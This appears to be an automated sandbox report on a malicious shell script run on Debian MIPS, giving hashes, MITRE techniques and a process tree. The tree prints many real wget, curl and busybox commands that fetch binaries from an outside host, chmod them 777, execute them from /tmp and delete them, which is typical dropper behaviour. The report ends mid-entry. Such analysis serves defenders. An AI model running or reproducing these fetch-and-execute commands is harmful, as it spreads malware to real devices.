c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095

Analysis

max time kernel
83s
max time network
85s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/11/2024, 03:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095.sh
Size 10KB
Sample241122-dkqxkayrdl
SHA256 c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095
MD5 34b8d9bb32acae6761cd682676ee73bf
SHA1 9f8cb3c8b85908b2843dbecaefde53be6d59523d
SHA512 caba7df4aaa7f758aa7e726ff2b356645fe3d53e43c026fa35680ff16f337cc68253b497cded85b2fca4b5ba6afb8c94e57f13a67f52b0538efe8403600cdfc0
SSDEEP 96:YKCuzbz3zUZpmLXrLUqixeB5ML7XVAL1VDIE3lDfBLNNnLbDbfbiiEBNU5RELMQI:nopFA7fHDiiEBNj6YuHDiiEBKTT
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
838	chmod
862	chmod
869	chmod
883	chmod
946	chmod
939	chmod
876	chmod
925	chmod
967	chmod
1002	chmod
845	chmod
855	chmod
918	chmod
794	chmod
953	chmod
988	chmod
1009	chmod
1016	chmod
815	chmod
890	chmod
932	chmod
960	chmod
981	chmod
897	chmod
911	chmod
995	chmod
904	chmod
974	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
842	curl
900	wget
908	curl
835	curl
873	curl
880	curl
924	busybox
942	wget
950	curl
1008	busybox
872	wget
943	curl
887	curl
837	busybox
861	busybox
875	busybox
893	wget
901	curl
915	curl
959	busybox
795	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
1015	busybox
866	curl
886	wget
889	busybox
954	9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
966	busybox
994	busybox
841	wget
822	wget
894	curl
984	wget
985	curl
797	wget
929	curl
963	wget
858	wget
907	wget
971	curl
978	curl
980	busybox
987	busybox
879	wget
868	busybox
992	curl
1012	wget
1013	curl
849	curl
865	wget
896	busybox
903	busybox
917	busybox
999	curl
1006	curl
859	curl
844	busybox
882	busybox
910	busybox
931	busybox
935	wget
772	curl
949	wget
955	rm
957	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	curl
File opened for modification	/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	curl
File opened for modification	/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	curl
File opened for modification	/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	curl
File opened for modification	/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	curl
File opened for modification	/tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC	curl
File opened for modification	/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	curl
File opened for modification	/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	curl
File opened for modification	/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	curl
File opened for modification	/tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG	curl
File opened for modification	/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	curl
File opened for modification	/tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9	curl
File opened for modification	/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	curl
File opened for modification	/tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ	curl
File opened for modification	/tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB	curl
File opened for modification	/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	curl
File opened for modification	/tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O	curl
File opened for modification	/tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE	curl
File opened for modification	/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	curl
File opened for modification	/tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT	curl
File opened for modification	/tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl	curl
File opened for modification	/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	curl
File opened for modification	/tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F	curl
File opened for modification	/tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT	curl
File opened for modification	/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	curl
File opened for modification	/tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB	curl
File opened for modification	/tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak	curl
File opened for modification	/tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW	curl

/tmp/c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095.sh
/tmp/c38836c896e18ac00aa235c0cf767d3dcca95d2b7772baba2631576648980095.sh
1⤵
PID:717
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:720
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  PID:726
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  PID:786
- /bin/chmod
  chmod 777 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  ./9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:795
- /bin/rm
  rm 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  PID:796
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - System Network Configuration Discovery
  PID:797
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:798
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:808
- /bin/chmod
  chmod 777 PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  ./PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:820
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - System Network Configuration Discovery
  PID:822
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - System Network Configuration Discovery
  PID:837
- /bin/chmod
  chmod 777 pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  ./pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:840
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - System Network Configuration Discovery
  PID:841
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - System Network Configuration Discovery
  PID:844
- /bin/chmod
  chmod 777 SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  ./SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  PID:847
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:854
- /bin/chmod
  chmod 777 JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  ./JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm JbN1YmFYxt9j7KpjLo3QCmN8LmCbJSklak
  2⤵
  PID:857
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - System Network Configuration Discovery
  PID:858
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - System Network Configuration Discovery
  PID:861
- /bin/chmod
  chmod 777 QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  ./QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm QmpVv9y4bbaIIuu6V2xnh9zPRKyWddy8s9
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - System Network Configuration Discovery
  PID:868
- /bin/chmod
  chmod 777 aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  ./aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm aCRWn8gOi1dweCNnELpApEhk8abvSvhaMT
  2⤵
  PID:871
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - System Network Configuration Discovery
  PID:875
- /bin/chmod
  chmod 777 pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  ./pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm pVlkF95JQcZ2GcBwedI2mGSgPYzFbP4STC
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/chmod
  chmod 777 nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  ./nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm nJxIQTqOQUTVQxVjrI2b3XQNM8fu3nWs5F
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  ./slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm slojVVR4JNOkF57jCfrLPcUbsC3eUwtjKl
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - System Network Configuration Discovery
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/chmod
  chmod 777 xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  ./xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - System Network Configuration Discovery
  PID:903
- /bin/chmod
  chmod 777 L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  ./L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:906
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:910
- /bin/chmod
  chmod 777 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  ./8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  PID:913
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - System Network Configuration Discovery
  PID:917
- /bin/chmod
  chmod 777 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  ./9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:920
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - System Network Configuration Discovery
  PID:924
- /bin/chmod
  chmod 777 L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - File and Directory Permissions Modification
  PID:925
- /tmp/L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  ./L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  - Executes dropped EXE
  PID:926
- /bin/rm
  rm L2NF59wHsucPEijfToQ067fYfwkMvTPXCB
  2⤵
  PID:927
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  PID:928
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:929
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - System Network Configuration Discovery
  PID:931
- /bin/chmod
  chmod 777 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  ./8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 8haYQfPSHOOys89XmJFtp5YzNyfLiMovNG
  2⤵
  PID:934
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:938
- /bin/chmod
  chmod 777 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  ./9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm 9N00LOzMjWI0lCdJgODMPOAedLFWeD93uT
  2⤵
  PID:941
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  PID:945
- /bin/chmod
  chmod 777 xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  ./xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm xXEjczqffV4pNUGkFya7Ug4tXQv1wLUaGW
  2⤵
  PID:948
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:949
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  PID:952
- /bin/chmod
  chmod 777 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  ./9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:954
- /bin/rm
  rm 9Zt1gACcEbxQiiPv84Mw8wjRj2VIyVG1XZ
  2⤵
  - System Network Configuration Discovery
  PID:955
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:957
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - System Network Configuration Discovery
  PID:959
- /bin/chmod
  chmod 777 PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  ./PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm PRidtlDXU05jmgjuUObnLgOEzRMj94T04O
  2⤵
  PID:962
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - System Network Configuration Discovery
  PID:966
- /bin/chmod
  chmod 777 pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  ./pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm pRGsHll305LOAjT66GtpxTBrFbmFK4qYbE
  2⤵
  PID:969
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  PID:973
- /bin/chmod
  chmod 777 SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  ./SEcuTOyU7I8Dx8CEL5gSakadnkd5UuVnPB
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
